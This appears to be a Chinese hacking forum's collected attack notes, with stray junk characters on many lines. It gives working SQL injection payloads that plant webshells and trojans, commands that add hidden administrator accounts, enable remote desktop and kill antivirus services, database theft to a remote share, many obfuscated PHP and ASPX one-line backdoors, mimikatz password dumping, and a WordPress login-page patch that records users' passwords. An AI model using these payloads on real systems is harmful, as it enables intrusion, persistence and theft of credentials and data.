& W/ H- }6 M% P! U
9 y6 Y% @& a$ \查询sql server 2005中的密码hash
1 g" ]8 a7 _3 D* ^9 z( RSELECT password_hash FROM sys.sql_logins where name='sa'# `1 m  W3 M$ \- p* B: m) p
SELECT '<%execute request("a")%>' into [a] in 'c:\x.asp;a.xls' 'excel 8.0;' from a) Q. i# c1 G: k$ k# ]9 x
access中导出shell$ o' m" b" [( {: V) X* z; h; q

3 U. |( s+ ]& p6 S  Q) o4 c中文版本操作系统中针对mysql添加用户完整代码:
" p7 Q: a/ m6 t. {/ z9 p" l: I2 u; F" m/ D" C$ [
use test;
4 B3 D  r$ T! gcreate table a (cmd text);
, [6 e8 F, C) a7 [insert into a values ("set wshshell=createobject (""wscript.shell"") " );" y# `1 [) g2 c' s1 K
insert into a values ("a=wshshell.run (""cmd.exe /c net user test 123!@#abcABC /add"",0) " );) N" O4 c; T9 Q/ W2 t+ f
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators test /add"",0) " );
$ a# `8 n5 b; C) a6 ~# @select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";- p2 d6 ?$ y! M% b/ v6 t! G$ V
drop table a;1 C# \. q4 f* z

- W' r. ]- q$ z' N9 I: ^. W英文版本:
: `( c; r. W: G# m/ }0 t  h) j! H# m2 \$ o& U
use test;& e- a: ~) b% U+ X7 T
create table a (cmd text);
+ t3 G+ [/ J7 c% B$ p1 X2 O0 B% a  tinsert into a values ("set wshshell=createobject (""wscript.shell"") " );: |+ R' f5 r$ F% [6 [
insert into a values ("a=wshshell.run (""cmd.exe /c net user test 123!@#abcABC /add"",0) " );6 A) @# d. z& ^+ m, A
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators test /add"",0) " );
! H4 t7 [. ^7 u# x, z& R% s' fselect * from a into outfile "C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\a.vbs";
& \7 t; v, w! L  k" V! hdrop table a;4 r2 H, V1 F6 p  b  Y

# O( ^! y3 Z+ c! l6 x7 zcreate table a (cmd BLOB);/ {) h! E4 c3 w
insert into a values (CONVERT(木马的16进制代码,CHAR));" J# q2 ]# f1 J9 Z" G, _
select * from a into dumpfile 'C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\启动\\mm.exe'
! m; G; r% r4 X; q2 Sdrop table a;' V( S  \  [+ T6 f4 k& C0 ]
) V" D5 X3 ^( s3 P
记录一下怎么处理变态诺顿) h) ?6 |) {% v  n- o9 L$ y% Q
查看诺顿服务的路径
3 E( }& ?+ |+ E( Hsc qc ccSetMgr0 i* ?! u; `2 j: y3 X1 d2 E* U0 j
然后设置权限拒绝访问。做绝一点。。9 `* |4 X" Q9 q' E, @" w
cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /d system
) \: Z9 E+ R8 e" p6 `5 R  N5 ~cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /d "CREATOR OWNER"
5 j7 b& u( y+ r2 }: F. ?0 H( pcacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /d administrators
; R- `+ V& O6 b) c  _/ X3 Ccacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /d everyone
% d" f* k7 l, F, K9 w
; U4 z6 j1 Q, t5 E然后再重启服务器
2 `( d. v, @/ p* S% R  Wiisreset /reboot
( G4 C; W- u& Y+ ~3 v$ X# k这样就搞定了。。不过完事后。记得恢复权限。。。。. w. y  i& [( ^; h6 Q/ G8 B, Z3 f
cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /G system:F
5 e4 ^9 s; B1 a$ u* t" j# g# \$ qcacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /G "CREATOR OWNER":F3 c; |5 v1 k. r9 \" [; H
cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /G administrators:F, ~3 q+ P: [/ B# }
cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /G everyone:F
1 i5 q4 O3 z. L9 e- uSELECT '<%eval(request(chr(35)))%>' into [fuck]  in 'E:\asp.asp;fuck.xls' 'EXCEL 4.0;' from admin/ }8 f  I( b2 u4 Z  t8 m
) y; g- q  G0 a* b" T' {
EXEC('ma'+'ster..x'+'p_cm'+'dsh'+'ell ''net user''')+ _( Q4 R( P' l3 C/ L" b# l, R

0 D2 O% a/ L& u4 `postgresql注射的一些东西
9 F1 P; j1 x) I& V  d如何获得webshell
! C! _* z* {. x5 qhttp://127.0.0.1/postgresql.php?id=1;create%20table%20fuck(shit%20text%20not%20null);
' j. V  w3 i1 H# A! ~/ Zhttp://127.0.0.1/postgresql.php?id=1;insert into fuck values($$<?php eval($_POST[cmd]);?>$$);
* L( e$ d/ H: u5 V+ {5 u8 S* m) }http://127.0.0.1/postgresql.php?id=1;copy%20fuck(shit)%20to%20$$/tmp/test.php$$;
+ V1 G7 K+ Z+ ~6 w9 {如何读文件
. W# h  E' P0 E; U' B5 i2 Yhttp://127.0.0.1/postgresql.php?id=1;create table myfile (input TEXT);) O; x, W: L+ |5 ~
http://127.0.0.1/postgresql.php?id=1;copy myfile from ‘/etc/passwd’;1 H& q' B% Q- {+ B" d. a% \
http://127.0.0.1/postgresql.php?id=1;select * from myfile;
! Q  q$ [" S$ O/ j" x' g2 f) b% @1 ]# T
z执行命令有两种方式,一种是需要自定义的lic函数支持,一种是用pl/python支持的。! p% F4 E/ n# T8 h+ a2 F
当然,这些的postgresql的数据库版本必须大于8.X: i/ e8 b4 y. J* S
创建一个system的函数:5 A6 s: @' y/ z
CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT
$ u( |* \5 m! Y: d/ Y; T  a% e! l# U+ [
创建一个输出表:
4 A6 [+ R6 D" z5 \2 O, aCREATE TABLE stdout(id serial, system_out text)' n* [7 O$ @5 H, l4 K9 O! Z

, L& h8 W; Y0 O  s4 ~执行shell,输出到输出表内:
* Y# w3 g% J& q" p# L: v2 m- g3 qSELECT system('uname -a > /tmp/test')1 p( ?+ H. S4 X8 K

& c% j$ s* j! l7 w, u7 Pcopy 输出的内容到表里面;& d7 N5 O- O1 `9 N" j
COPY stdout(system_out) FROM '/tmp/test'
+ l6 J- b" }# A9 G7 w+ f" s: M2 @8 `
从输出表内读取执行后的回显,判断是否执行成功
3 p; s- j5 J' R' ^- b7 A- W7 ]4 ~+ Y/ ?4 r6 A8 A  {5 N
SELECT system_out FROM stdout
7 H/ ]( S" N2 G* l9 [' e下面是测试例子8 u# w) U* l: b4 O- q' L6 r; D
5 E) U( m2 t1 s  }5 o0 }. F/ {
/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) -- % |) e0 B5 U+ T+ E' d5 }0 K

- L+ k( y9 G+ X6 t4 |/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C'! K. U. E. b: X" @/ k6 p; W
STRICT --& N, ^9 G+ \7 E1 x& h
% E- M* @1 N* m$ D1 ]0 {
/store.php?id=1; SELECT system('uname -a > /tmp/test') --5 ?& Q& j2 o* H" d

4 [: X( o/ m/ u+ W( ^/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --
6 l" Y+ O4 }8 D) J  R! S& g. Q# {# ?! O4 M
/store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--% h! H6 ^* N" _2 l& V7 n7 T/ O8 K  ~) o
net stop sharedaccess    stop the default firewall  j9 y9 V5 k/ |! _
netsh firewall show      show/config default firewall
* t& ?* j) I: g( Xnetsh firewall set notifications disable   disable the notify when the program is disabled by the default firewall
) }% D4 ^5 F+ Q: @" Onetsh firewall add allowedprogram c:\1.exe Svchost     add the program which is allowed by default firewall
/ W# N* a( L, P) R1 t8 |" [6 ~修改3389端口方法(修改后不易被扫出)
/ z6 H# s! o4 V0 b1 G1 f修改服务器端的端口设置,注册表有2个地方需要修改8 i; C# J. u6 u+ H' }& `

( ]" q2 h/ i0 N/ z[HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\TerminalServer\\Wds\\rdpwd\\Tds\\tcp]& a( E* ^" r% t' F( ]2 m/ P
PortNumber值,默认是3389,修改成所希望的端口,比如6000! ]( j) u$ ]$ x& q
4 L9 o: o$ n' ^9 {: Z
第二个地方:$ Y5 _2 s8 i% @& g; ~
[HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp] 8 E' e" U5 c9 p/ g4 e! ]/ F
PortNumber值,默认是3389,修改成所希望的端口,比如6000, k, r3 a3 Q; K& y+ H! L4 h
9 j/ M+ j& `% y9 E- C3 G0 f
现在这样就可以了。重启系统就可以了; f/ e8 e# F" K" b
( D# R+ y' S9 \0 i; Y
查看3389远程登录的脚本
( L! v6 E: I* T% c保存为一个bat文件3 N2 t% m2 l4 ]7 h  a7 ]* q/ p
date /t >>D:\sec\TSlog\ts.log, `4 e& A% \( `, V
time /t >>D:\sec\TSlog\ts.log
4 }2 d/ [: U$ @0 xnetstat -n -p tcp | find ":3389">>D:\sec\TSlog\ts.log
2 h& B. X3 N( Fstart Explorer
4 ]: X5 d7 c) k0 t: b: C! \$ W2 Z8 m/ z* t5 D! V
mstsc的参数:& F# A; G! _9 ?$ U( u' f+ v

6 E# Q" B4 ~0 F  I) E7 h- j9 q) Q2 k远程桌面连接  \0 f7 a. W$ f# U

, R0 v$ E6 t* w) E) L$ t9 BMSTSC      [<Connection File>] [/v:<server[:port]>] [/console] [/f[ullscreen]]* k3 P+ g6 J& l
  [/w:<width> /h:<height>] | /Edit"ConnectionFile" | /Migrate | /?
1 ?2 j0 [8 Q  l: x: A1 B( g7 Q/ a' f/ z7 K
<Connection File> -- 指定连接的 .rdp 文件的名称。
/ q+ X- c* `/ h/ f) ]5 g, ^: V: G# s9 Z
/v:<server[:port]> -- 指定要连接到的终端服务器。
% G! ]  u& N1 I  q
! j% v6 `0 X! H+ C- G/console -- 连接到服务器的控制台会话。3 O) h4 f" P, J* d8 {9 u' c- l

1 v- y1 l( W- I* G6 h8 Q/f -- 以全屏模式启动客户端。6 H7 {3 ?' h: S$ K  E
' x  j( Z: H) R  s. h
/w:<width> --  指定远程桌面屏幕的宽度。
  |3 ~9 r2 X2 j; E  F! w" w
: \1 \) ^) f  Y6 Z/h:<height> -- 指定远程桌面屏幕的高度。7 Q% o* o. I- u( [0 r! ?

: @! E$ J7 M8 O! F1 N/ I5 P- t/edit -- 打开指定的 .rdp 文件来编辑。6 X2 |. E  X+ q/ z8 T! V2 H( y/ R

/ O, A) ^# h8 J" Y0 ^% e# O" d7 M/migrate -- 将客户端连接管理器创建的旧版8 g) i5 p3 U! B% \0 Y' Z2 L
连接文件迁移到新的 .rdp 连接文件。( \: z' q! ^9 A( L6 }0 M

3 `9 g: Y: k, }( D/ v
2 Y: Y! v8 Q. F$ r4 _* ?' W9 B其中mstsc /console连接的是session 0,而mstsc是另外打开一个虚拟的session,这样的话就是相当与另外登陆计算机。也就是说带console参数连接的是显示器显示的桌面。大家可以试试啊,有的时候用得着的,特别是一些软件就# J. b% c0 f* o- a) c
mstsc /console /v:124.42.126.xxx 突破终端访问限制数量
+ l6 N0 O5 u# G# j) p; e; x6 {
% I& n. L4 J' m) r  `' m3 b命令行下开启3389% r, f4 r9 H# u- o* Z% {
net user asp.net aspnet /add
8 n5 J! q, e5 r8 e. t6 xnet localgroup Administrators asp.net /add( L$ t4 M7 n' \* K3 N
net localgroup "Remote Desktop Users" asp.net /add" w) V! F. ]8 Z7 q
attrib +h "%SYSTEMDRIVE%\Documents and Settings\asp.net" /S /D
# f% v$ n% S. ~( @' u, h# wecho Y | reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t reg_dword /d 07 r* ~! H6 r* s1 B
echo Y | reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v AllowTSConnections /t reg_dword /d 1
: Z. c0 F8 H+ d: c: ~) J* \echo Y | reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v "asp.net" /t REG_DWORD /d 00000000 /f* b* {: A; y9 h( G" u; b4 o
sc config rasman start= auto1 g/ }# \  P. E
sc config remoteaccess start= auto7 p2 o6 E# S% b/ s% R& _
net start rasman
4 M! a! T3 r# C' M6 L; O) Hnet start remoteaccess0 t- Z3 V" q6 g; N
Media- Y; p' z! b- \
<form id="frmUpload" enctype="multipart/form-data"
! E, F  ]' M/ U4 kaction="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>  X5 d' \3 r+ B; O" z
<input type="file" name="NewFile" size="50"><br>2 B, Q/ D/ b; X+ R
<input id="btnUpload" type="submit" value="Upload">
# i, w0 A, C. ?! w* O7 d5 J5 b& K</form>2 m# w# L0 T% @+ Q1 l: ]
0 A8 u$ U! `5 l( q
control userpasswords2 查看用户的密码+ o% g! e/ Q4 W; u* t
access数据库直接导出为shell,前提a表在access中存在。知道网站的真实路径2 `$ i1 V2 p& y- ]; J
SELECT '<%execute request("a")%>' into [a] in 'c:\x.asp;a.xls' 'excel 8.0;' from a* k+ G" K+ k2 U& `0 ?& [5 s

- r* z1 W' l: ?9 \$ q141、平时手工MSSQL注入的时候如果不能反弹写入,那么大多数都是把记录一条一条读出来,这样太累了,这里给出1条语句能读出所有数据:
" T' ]% E! ~/ s$ p1 Q测试1:
( r$ e7 T+ n8 e. H) eSELECT top 1 name=STUFF((SELECT ','+[name] FROM sysobjects t  where xtype='U' FOR XML PATH('')), 1, 1, '') FROM sysobjects t1
$ v! C" q* N1 G- L4 n+ I: C" c1 m5 `4 g
测试2:6 K( V$ s/ L: x6 R

6 J2 d  N/ W4 Z$ Z9 dcreate table dirs(paths varchar(100),paths1 varchar(100), id int)' ]5 {3 G% I, u( {+ J4 y1 |

: t4 D$ E4 t! ~+ ^delete dirs;insert dirs exec master.dbo.xp_dirtree 'c:\',1,1--
; I) N. V# I9 Y- v: J* i7 z9 x! w% [7 t" D
SELECT top 1 paths=STUFF((SELECT ','+[paths] FROM dirs FOR XML PATH('')), 1, 1, '') FROM dirs t1$ Q3 e8 k, o# F" Q
关闭macfee软件的方法://需要system权限,请使用at或psexec –s cmd.exe命令
  w3 k0 D5 w! _1 o可以上传.com类型的文件,如nc.com来绕过macfee可执行限制;
+ d4 a1 \* u' x) K- ]( }- \* dnet stop mcafeeframework
- O4 x  M% |* M9 [net stop mcshield4 u, R/ p$ Z9 X8 ^. c- P
net stop mcafeeengineservice
0 B% i* P1 c7 X2 x. F$ S) u3 Vnet stop mctaskmanager5 @) w% j5 Y0 O# ]
http://www.antian365.com/forum.p ... DU5Nzl8NDY5Mw%3D%3D3 R) w! |0 K1 [. H$ N" K+ I
5 m" z6 w! H/ a$ y- T/ T
  VNCDump.zip (4.76 KB, 下载次数: 1)
% D3 {4 T4 N. _, p0 `: H6 L密码在线破解http://tools88.com/safe/vnc.php
4 ^- l8 S+ N4 m& c' b/ cVNC密码可以通过vncdump 直接获取,通过dos查询[HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4] 下的Password也可以获取
5 D0 A5 ]% c7 W, k/ n. s  E+ k0 p. k7 I2 o
exec master..xp_cmdshell 'net user'" f/ @$ ^0 m* w  s  ~! h! O
mssql执行命令。
# V: a) B. C9 C1 Z+ n获取mssql的密码hash查询6 j, K, N0 n/ ]7 ~1 j
select name,password from master.dbo.sysxlogins
( \$ E- x: w; B+ o# I4 J7 h2 {+ n& b& C/ c6 }
backup log dbName with NO_LOG;
; e. u, }6 \5 P' cbackup log dbName with TRUNCATE_ONLY;
+ F5 H1 A& k* P1 r4 ^, \6 ]7 }6 yDBCC SHRINKDATABASE(dbName);
0 X- B4 `* O( w- I- ^2 d% M2 Ymssql数据库压缩
% v) m/ _- P8 N5 C) r% h" d4 O: Y9 @* {: e
Rar.exe a -ep1 -m0 -v200m E:\web\1.rar E:\webbackup\game_db_201107170400.BAK
2 g8 q0 J$ V  N- a3 J将game_db_201107170400.BAK文件压缩为1.rar,大小为200M的分卷文件。
+ U3 Z* O5 p. k& [- f6 W3 Y1 L$ S" E' v4 }8 y) [3 d% D8 w) t
backup database game to disk='D:\WebSites\game.com\UpFileList\game.bak'4 b% S/ `- }* [& |# ]
备份game数据库为game.bak,路径为D:\WebSites\game.com\UpFileList\game.bak
& l6 ~: H2 u0 G5 V4 [
& ~# L) [0 E5 r, _9 x- U* ADiscuz!nt35渗透要点:$ D1 H2 ~1 a  U
(1)访问 网站地址/admin/global/global_templatesedit.aspx?path=../tools/&filename=rss.aspx&templateid=1&templatename=Default
7 c: A# [2 \7 y+ \* N(2)打开rss.aspx文件,将<%@ Page Inherits="Discuz.Web.UI.RssPage" %>复制到本地备份,然后替换其为<%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>
& {/ f; R/ N6 q. ~(3)保存。
( E; Q9 t. u- {(4)一句话后门地址http://somesite.com.cn/tools/rss.aspx 密码为pass
+ v# b" _9 ~! pd:\rar.exe a -r d:\1.rar d:\website\
: J- }6 T; o" H, y3 q2 M8 J递归压缩website
7 I5 |) |, a7 z$ s9 J0 c注意rar.exe的路径+ E$ A/ f, \$ o! k3 a2 H; k3 P
: f6 q; E+ y6 [, V
<?php
" f; c, {6 l; W( W& u4 C3 y" [! L; P
' ?8 j% H! ]6 J9 J* S+ b5 y$ ~$telok   = "0${@eval($_POST[xxoo])}";
) x; ?# a5 `; U6 _( V8 c$ k: p8 w# r8 d" t6 Z/ j
$username   = "123456";3 G( c8 j0 x9 J0 N( m  {
& i* N" |" n* q5 ]9 U
$userpwd   = "123456";  _7 b2 `( B2 B" a: K2 R
% o# B( H- T3 f, @1 P
$telhao   = "123456";% H' l9 ~0 Y$ Q9 L7 ?
' {) o. {# I8 |/ u
$telinfo   = "123456";3 g1 d4 i9 U0 C; Z$ j5 z
9 |7 y9 {% S9 u+ o3 y
?>
0 _, |" v+ b$ k' J( P, Cphp一句话未过滤插入一句话木马8 W+ d# n, Z2 [; q+ _5 }/ ]- X1 E
' D. ?6 `& E0 ~- a9 T  J; D( j, Y
站库分离脱裤技巧  N( N& R+ C  l1 w. a6 m8 b4 P( A
exec master..xp_cmdshell 'net use \\xx.xx.xx.xx\d$\test "pass" /user:"user"'
6 X/ b. N, k" {/ hexec master..xp_cmdshell 'bcp test.dbo.test out \\xx.xx.xx.xx\d$\test\1.txt -c -Slocalhost -Uuser -Ppass'' J# }# @2 ?/ H9 w! E$ n: j; ^  \
条件限制写不了大马,只有一个一句话,其实要实现什么完全够了,只是很不直观方便啊,比如tuo库。
  r) O# W: x, e这儿利用的是马儿的专家模式(自己写代码)。# p6 D) {& Y  L- E1 |3 n4 n) r1 z, H
ini_set('display_errors', 1);
5 d( D& x6 Y- j# j) o# Vset_time_limit(0);' R4 B; V9 F) L1 ~" i
error_reporting(E_ALL);
/ ^; Z3 N  U$ _$connx = mysql_connect(":/var/tmp/mysql.sock", "forum", "xx!!xx3") or die("Could not connect: " . mysql_error());# }; W% n9 l- Q# ~0 @$ u
mysql_select_db("discuz",$connx) or die("Could not connect: " . mysql_error());
, p0 D" r3 u4 w3 S$result = mysql_query("Select * FROM members",$connx) or die("Could not connect: " . mysql_error());
: \4 ?  b1 q4 N- `: q$i = 0;
/ q* [; C# R+ X1 N/ s$tmp = '';2 l7 [. k1 s4 K$ b5 k' W( ^
while ($row = mysql_fetch_array($result, MYSQL_NUM)) {' c  n. c3 {2 H8 d0 }. L
    $i = $i+1;& X6 q/ `# `1 d2 G1 X" y5 i
    $tmp .=  implode("::", $row)."\n";
/ D7 r9 Y( L  e& h( V    if(!($i%500)){//500条写入一个文件1 y, }& ]# }  @; J3 o9 H, e
        $filename = '/home/httpd/bbs.xxxxx/forumdata/cache/user'.intval($i/500).'.txt';* Z! \, p0 l& [+ O
        file_put_contents($filename,$tmp);
/ @- B1 \: ^9 n+ g5 A# `        $tmp = '';3 r, g) Y4 x: x" ?. I: T  |+ g, t
    }8 {1 I% e6 B: P" ~9 `1 m
}
% Q% N- d5 E2 C' ?# r0 xmysql_free_result($result);
4 [/ G8 b. e/ b- D* S+ `3 L# D  f0 q( S! t+ A0 f5 w; B

! }# ^5 Q! F: j  M! P2 z
- X7 B) I) |& e9 d) O//down完后delete  s, n- L" p, v% Z6 m6 p
. J& ], O! e! F6 E: t1 ~7 Q
% [) H4 T3 _% s' O; H. z' Y
ini_set('display_errors', 1);
6 p$ h( R5 j* X* P, s5 Aerror_reporting(E_ALL);& t6 o& Q+ q2 A* A
$i = 0;
, J! F' A' z; j) S9 @3 b7 twhile($i<32) {/ B$ T9 x6 q. r8 r3 O1 w& u
    $i = $i+1;
1 F: N9 M- Z$ }+ C. V& x        $filename = '/home/httpd/bbs.xxxx/forumdata/cache/user'.$i.'.txt';
5 y' ^4 Q0 @1 G; s; \+ i* y; C/ W        unlink($filename);7 i2 q' s1 j" |1 P- J" V; U
}
. e* F* Y3 ^7 Y0 u, Bhttprint 收集操作系统指纹
2 @- z$ e* S( H扫描192.168.1.100的所有端口0 Q: P' Y0 ~9 e. v8 D3 Z
nmap –PN –sT –sV –p0-65535 192.168.1.100
1 H* z/ I: _9 t7 i  }) vhost -t ns www.owasp.org 识别的名称服务器,获取dns信息5 A- ^" P& [$ C
host -l www.owasp.org ns1.secure.net 可以尝试请求用于owasp.org的区域传输  X- a/ D1 A) t! b; d8 p
Netcraft的DNS搜索服务,地址http://searchdns.netcraft.com/?host' i. t- C( O8 f$ I9 @

* `( p- W$ A; z, `( j0 ?Domain tools reverse IP: http://www.domaintools.com/reverse-ip/ (需要免费注册)
- c0 j9 g- i0 E" x+ m7 T- l# {3 X, e; g$ A9 D4 D
  MSN search: http://search.msn.com 语法: "ip:x.x.x.x" (没有引号)
/ B. e, {6 z, q: M& r5 @, c; x2 n, d2 p6 Y( n/ o  q0 Y' Z( v2 P
  Webhosting info: http://whois.webhosting.info/ 语法: http://whois.webhosting.info/x.x.x.x
  H( c& T5 i$ i* W" _" B  E7 j9 j% \1 B. A9 I
  DNSstuff: http://www.dnsstuff.com/ (有多种服务可用)
  ~$ m  I; d- H7 ?( q# x
+ R1 _4 g2 ]+ d7 n& r1 D  http://net-square.com/msnpawn/index.shtml (要求安装)
! |7 Y( i: I1 i" O! N6 d7 b  [7 {0 z* z0 `" m% ]- X8 r! M
  tomDNS: http://www.tomdns.net/ (一些服务仍然是非公开的)8 P0 e; j. ?: z+ ?9 K  C3 l2 N4 H

3 g% u+ l! K" G2 d/ H  SEOlogs.com: http://www.seologs.com/ip-domains.html (反向IP/域名查找)" @0 \4 u' ~" n
set names gb2312
2 S& K5 b. H* h9 w6 j导入数据库显示“Data too long for column 'username' at row 1”错误。原因是不支持中文。4 q( p8 F0 P: U2 M& B1 D6 L
2 [! v+ c0 c% E! o+ `/ K/ V$ l; k" ?
mysql 密码修改
/ ^" S' i& ?; G1 v) Z( N0 K& RUPDATE mysql.user SET password=PASSWORD("newpass")  whereuser="mysqladmin ”
, p& W7 [* l' z$ nupdate user set password=PASSWORD('antian365.com') where user='root';$ R) @9 ~8 ^5 h3 k/ d- q$ _; [/ b
flush privileges;- Z  _- }( m3 I+ T
高级的PHP一句话木马后门# |0 w. P) p$ N) ?3 |
  g: b& p: x, w9 R! t
入侵过程发现很多高级的PHP一句话木马。记录下来,以后可以根据关键字查杀; h8 T' K& N  e( N# [$ z/ ^
7 v/ J# J: r1 w% v' \  p' r
1、& ]% q4 G, N. B
+ s3 ^1 n! Y/ }" \1 z7 B# M
$hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";) {! A0 [" l4 e- ]- s
1 J2 z5 }9 `* Z8 L: ]/ p% e
$hh("/[discuz]/e",$_POST['h'],"Access");
) A* t4 p& ^  o
6 O. Q  O- Q' v4 K5 t//菜刀一句话' R5 B# f1 D+ v1 f" p0 {5 {

! [  n! U9 h4 S) D3 q8 z2、
: D1 ?* J& {) }4 s! r4 v
7 O4 e/ D/ K% s/ |6 y$filename=$_GET['xbid'];  k7 A/ r" F' z. E: x; h7 q* A/ r1 f
7 y2 k: D1 v( _' g) b! p
include ($filename);* R% w' b( g; t% n& b* y, Z

/ g* S8 h0 ^$ d' b" e7 O//危险的include函数,直接编译任何文件为php格式运行
5 ^2 k7 g& r. D* U$ t
  R! U. N6 R, A* z3、5 O! n: `* f7 ^
" `: Y7 a! z  I& p
$reg="c"."o"."p"."y";
' R; ?) g  |- [/ F) B: g+ G: m
/ _; a7 o' s( o# A$ R& Q! `$reg($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);
2 M) H: ?/ |  S4 \; O" l) Q; t9 D3 C' G, j9 {7 ^: s
//重命名任何文件
* _! g: y( M  u! b) b
5 J9 S! C9 k! _, \* v4、) \/ p1 d; }) [8 Y- Y
9 ?  ]) @3 R5 e
$gzid = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
2 l; y% _9 j! k* ^
% y' X( w  I, s5 d! N; d0 `  B$gzid("/[discuz]/e",$_POST['h'],"Access");
1 q$ ]" A( u0 f& b+ i
6 n  c2 k3 B7 y" Z6 T9 Y//菜刀一句话& Q: d7 I0 p' `& G4 |7 w) q
* q+ |" q; c$ \5 E. F
5、include ($uid);' P. B0 ?9 U3 Q% C1 s+ _% H
8 P& R! q4 ~( K; M
//危险的include函数,直接编译任何文件为php格式运行,POST 1 ~+ D( m. I8 r, f& F

. E- s. E: P  k/ Y8 Z7 ?' P& E( ^/ \' ]6 s' @% B* A
//gif插一句话( A) k* V, x0 V- e& ?. k& g

1 N' g. k9 A1 ^3 H1 ]* R  ~$ |' q6、典型一句话
9 t! G2 f: d/ U6 a( J) j
: X) A% |5 ?0 A# _" \( A5 U- q% I% X) j程序后门代码
; `" N% [/ O' H<?php eval_r($_POST[sb])?>8 W, i) A) _6 e
程序代码
- T. f4 R* u! g) X<?php @eval_r($_POST[sb])?>
1 W! G: l2 J; r. M; `1 S//容错代码
4 V" k; d( Z/ B5 k' P8 p程序代码
! i0 M& u8 `2 C<?php assert($_POST[sb]);?>
$ o& Y4 z% w5 s4 a8 L//使用lanker一句话客户端的专家模式执行相关的php语句- B) P  K/ w) Q+ ]  @# P
程序代码
! S/ Q5 a% @- l4 D1 Q; c<?$_POST['sa']($_POST['sb']);?>+ W5 U1 h, F- G( V8 G4 F* S
程序代码
2 c: q2 l/ b5 j( N, h  c<?$_POST['sa']($_POST['sb'],$_POST['sc'])?>) @+ `8 `! U! L
程序代码2 K- i- o# k5 @
<?php
0 T6 B/ T3 h: P8 m; \) Y5 a7 L@preg_replace("/[email]/e",$_POST['h'],"error");
$ N# c& {& v4 M) H2 d?>
/ j- u4 |7 k3 g8 l, J//使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入
) [' D  S$ B! |; o; v6 L程序代码
# k7 m/ f5 h0 `* B/ E! ~# ^6 F<O>h=@eval_r($_POST[c]);</O>
* S/ o: k  Q4 ~( x$ U% q. }) u程序代码
3 [  ^+ w) w7 S: _<script language="php">@eval_r($_POST[sb])</script>
/ l+ g1 b% Y  x" w2 w" c! {//绕过<?限制的一句话
/ I. d4 E& q  B) X. `6 z7 Y
; e. e& U( }! U0 n" Ihttp://blog.gentilkiwi.com/downloads/mimikatz_trunk.zip
5 c; m/ ?9 k' H& k! ~4 A详细用法:
( H: g0 C& W2 I3 m* b1、到tools目录。psexec \\127.0.0.1 cmd  K+ Q1 G+ H( Q: {* r
2、执行mimikatz
0 v' D8 h0 u5 }/ K( d, d* {3、执行 privilege::debug
3 T+ Q) _+ E7 w4、执行 inject::process lsass.exe sekurlsa.dll/ E9 i* y5 \$ d3 e/ y
5、执行@getLogonPasswords
* k" n" V0 b" D6、widget就是密码& T( H' [8 o9 ^' m& i
7、exit退出,不要直接关闭否则系统会崩溃。5 U3 K* p% l' r! @7 `0 e

% A( f2 v9 k, uhttp://www.monyer.com/demo/monyerjs/ js解码网站比较全面
! I: R1 F9 L- ~& }! r# i  Z$ A; v2 o) e4 c# b7 p& ~
自动查找系统高危补丁. _1 y6 j/ o: I* ]) r
systeminfo>a.txt&(for %i in (KB2360937 KB2478960 KB2507938 KB2566454 KB2646524 KB2645640 KB2641653 KB944653 KB952004 KB971657 KB2620712 KB2393802 kb942831 KB2503665 KB2592799) do @type a.txt|@find /i "%i"||@echo %i Not Installed!)&del /f /q /a a.txt9 ]7 P/ |5 P6 _; m! n2 n
3 ?; n( d! `; |$ a7 Q6 g
突破安全狗的一句话aspx后门8 z5 z3 k3 G# e4 W, ~
<%@ Page Language="C#" ValidateRequest="false" %>
, S8 t9 `8 l% X: V. Z- P' Z<%try{ System.Reflection.Assembly.Load(Request.BinaryRead(int.Parse(Request.Cookies["你的密码"].Value))).CreateInstance("c", true, System.Reflection.BindingFlags.Default, null, new object[] { this }, null, null); } catch { }%>% N/ W( u, B* U
webshell下记录WordPress登陆密码
# z! _3 a3 n. |; I2 swebshell下记录Wordpress登陆密码方便进一步社工
# R( e) m5 a$ ]) M8 v在文件wp-login.php中539行处添加:
! J( O7 {, |+ z3 v, L// log password
  Q' q  w' O. F5 n: {; a$log_user=$_POST['log'];% d+ F/ [5 R! w- V, P6 N' K  G( q
$log_pwd=$_POST['pwd'];9 o" `2 }( ?% ]5 X$ }
$log_ip=$_SERVER["REMOTE_ADDR"];
) u" _. J) z/ S4 J2 G1 ?5 x$txt=$log_user.’|’.$log_pwd.’|’.$log_ip;) ]7 ^/ I0 G) Q2 l. q! T
$txt=$txt.”\r\n”;
